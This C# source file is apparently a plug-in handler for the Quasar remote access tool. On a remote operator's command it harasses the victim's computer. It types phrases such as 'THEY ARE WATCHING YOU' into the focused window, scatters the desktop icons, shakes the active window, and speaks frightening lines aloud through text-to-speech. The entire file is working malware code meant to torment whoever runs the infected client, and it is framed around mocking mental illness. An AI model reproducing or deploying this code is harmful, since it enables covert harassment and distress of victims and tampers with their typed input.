using Quasar.Common.Messages;
using Quasar.Common.Networking;
using System;
using System.Runtime.InteropServices;
using System.Speech.Synthesis;
using System.Threading;
using System.Windows.Forms;

namespace Quasar.Client.Messages
{
    public class SchizophreniaHandler : IMessageProcessor
    {
        [DllImport("user32.dll")] private static extern IntPtr GetForegroundWindow();
        [DllImport("user32.dll")] private static extern bool GetWindowRect(IntPtr hWnd, out RECT rect);
        [DllImport("user32.dll")] private static extern bool MoveWindow(IntPtr hWnd, int x, int y, int w, int h, bool repaint);
        [DllImport("user32.dll")] private static extern IntPtr FindWindow(string cls, string name);
        [DllImport("user32.dll")] private static extern IntPtr FindWindowEx(IntPtr parent, IntPtr child, string cls, string name);
        [DllImport("user32.dll")] private static extern IntPtr SendMessage(IntPtr hWnd, int msg, IntPtr wParam, IntPtr lParam);
        [DllImport("user32.dll")] private static extern int GetWindowLong(IntPtr hWnd, int index);
        [DllImport("user32.dll")] private static extern int SetWindowLong(IntPtr hWnd, int index, int value);
        [DllImport("user32.dll")] private static extern void keybd_event(byte bVk, byte bScan, uint flags, int extra);
        [DllImport("user32.dll")] private static extern short VkKeyScan(char ch);

        [StructLayout(LayoutKind.Sequential)]
        private struct RECT { public int Left, Top, Right, Bottom; }

        private const int GWL_STYLE = -16;
        private const int LVS_AUTOARRANGE = 0x0100;
        private const int LVM_GETITEMCOUNT = 0x1004;
        private const int LVM_SETITEMPOSITION = 0x100F;
        private const uint KEYEVENTF_KEYUP = 0x0002;
        private const byte VK_SHIFT = 0x10;

        private volatile bool _running;
        private readonly object _startLock = new object();

        private static readonly string[] Phrases =
        {
            "THEY ARE WATCHING YOU",
            "i can hear you breathing",
            "the walls are closing in",
            "make it stop make it stop",
            "WHO IS BEHIND YOU",
            "you are not alone in here",
            "i see everything you do",
            "we have always been here",
            "DO NOT TURN AROUND",
            "hahahahahahahahaha",
            "there is no escape",
            "im inside the computer",
            "WHAT WAS THAT NOISE",
            "tick tick tick tick tick",
            "get out get out get out",
            "your eyes are lying to you",
            "i counted your keystrokes today",
            "the screen is watching back",
        };

        public bool CanExecute(IMessage message) => message is DoStartSchizophrenia || message is DoStopSchizophrenia;
        public bool CanExecuteFrom(ISender sender) => true;

        public void Execute(ISender sender, IMessage message)
        {
            if (message is DoStartSchizophrenia) Start();
            else if (message is DoStopSchizophrenia) Stop();
        }

        private void Start()
        {
            lock (_startLock)
            {
                if (_running) return;
                _running = true;
            }
            Spawn(TypingChaos);
            Spawn(DesktopScrambler);
            Spawn(WindowShaker);
            Spawn(RandomTTS);
        }

        private void Stop() => _running = false;

        private void Spawn(ThreadStart ts)
        {
            var t = new Thread(ts) { IsBackground = true };
            t.SetApartmentState(ApartmentState.STA);
            t.Start();
        }

        // --- Typing chaos: types random phrases/garbage into focused window ---

        private void TypingChaos()
        {
            var rng = new Random();
            while (_running)
            {
                Thread.Sleep(rng.Next(3000, 9000));
                if (!_running) break;

                string text = rng.Next(3) == 0
                    ? new string("!@#$%^&*".ToCharArray()[rng.Next(8)], rng.Next(3, 7))
                    : Phrases[rng.Next(Phrases.Length)];

                foreach (char c in text)
                {
                    if (!_running) break;
                    TypeChar(c);
                    Thread.Sleep(rng.Next(35, 110));
                }
            }
        }

        private static void TypeChar(char c)
        {
            short vk = VkKeyScan(c);
            if (vk == -1) return;
            byte key = (byte)(vk & 0xFF);
            bool shift = ((vk >> 8) & 1) != 0;
            if (shift) keybd_event(VK_SHIFT, 0, 0, 0);
            keybd_event(key, 0, 0, 0);
            keybd_event(key, 0, KEYEVENTF_KEYUP, 0);
            if (shift) keybd_event(VK_SHIFT, 0, KEYEVENTF_KEYUP, 0);
        }

        // --- Desktop icon scrambler ---

        private void DesktopScrambler()
        {
            var rng = new Random();
            while (_running)
            {
                Thread.Sleep(rng.Next(10000, 22000));
                if (!_running) break;
                try { ScrambleIcons(rng); } catch { }
            }
        }

        private static void ScrambleIcons(Random rng)
        {
            IntPtr lv = GetDesktopListView();
            if (lv == IntPtr.Zero) return;

            // disable auto-arrange so icons actually move
            int style = GetWindowLong(lv, GWL_STYLE);
            SetWindowLong(lv, GWL_STYLE, style & ~LVS_AUTOARRANGE);

            int count = (int)SendMessage(lv, (int)LVM_GETITEMCOUNT, IntPtr.Zero, IntPtr.Zero);
            if (count <= 0) return;

            var screen = Screen.PrimaryScreen.WorkingArea;
            for (int i = 0; i < count; i++)
            {
                int x = rng.Next(10, screen.Width - 90);
                int y = rng.Next(10, screen.Height - 90);
                IntPtr lParam = (IntPtr)((y << 16) | (x & 0xFFFF));
                SendMessage(lv, LVM_SETITEMPOSITION, (IntPtr)i, lParam);
                Thread.Sleep(25);
            }
        }

        private static IntPtr GetDesktopListView()
        {
            IntPtr progman = FindWindow("Progman", null);
            IntPtr shell = FindWindowEx(progman, IntPtr.Zero, "SHELLDLL_DefView", null);
            if (shell != IntPtr.Zero)
                return FindWindowEx(shell, IntPtr.Zero, "SysListView32", null);

            // Win10+ uses WorkerW
            IntPtr workerW = IntPtr.Zero;
            do
            {
                workerW = FindWindowEx(IntPtr.Zero, workerW, "WorkerW", null);
                if (workerW == IntPtr.Zero) break;
                shell = FindWindowEx(workerW, IntPtr.Zero, "SHELLDLL_DefView", null);
                if (shell != IntPtr.Zero)
                    return FindWindowEx(shell, IntPtr.Zero, "SysListView32", null);
            } while (true);

            return IntPtr.Zero;
        }

        // --- Window shaker: rapidly moves active window side to side ---

        private void WindowShaker()
        {
            var rng = new Random();
            while (_running)
            {
                Thread.Sleep(rng.Next(7000, 16000));
                if (!_running) break;

                IntPtr hwnd = GetForegroundWindow();
                if (hwnd == IntPtr.Zero) continue;
                if (!GetWindowRect(hwnd, out RECT r)) continue;

                int ox = r.Left, oy = r.Top;
                int w = r.Right - r.Left, h = r.Bottom - r.Top;

                for (int i = 0; i < 24 && _running; i++)
                {
                    int dx = (i % 2 == 0) ? 18 : -18;
                    MoveWindow(hwnd, ox + dx, oy + (i % 3 == 0 ? 6 : 0), w, h, false);
                    Thread.Sleep(35);
                }
                MoveWindow(hwnd, ox, oy, w, h, false);
            }
        }

        // --- Random TTS: whispers creepy phrases out loud ---

        private void RandomTTS()
        {
            var rng = new Random();
            while (_running)
            {
                Thread.Sleep(rng.Next(18000, 40000));
                if (!_running) break;
                try
                {
                    using (var ss = new SpeechSynthesizer())
                    {
                        ss.Volume = 100;
                        ss.Rate = rng.Next(-3, 4);
                        ss.Speak(Phrases[rng.Next(Phrases.Length)]);
                    }
                }
                catch { }
            }
        }
    }
}
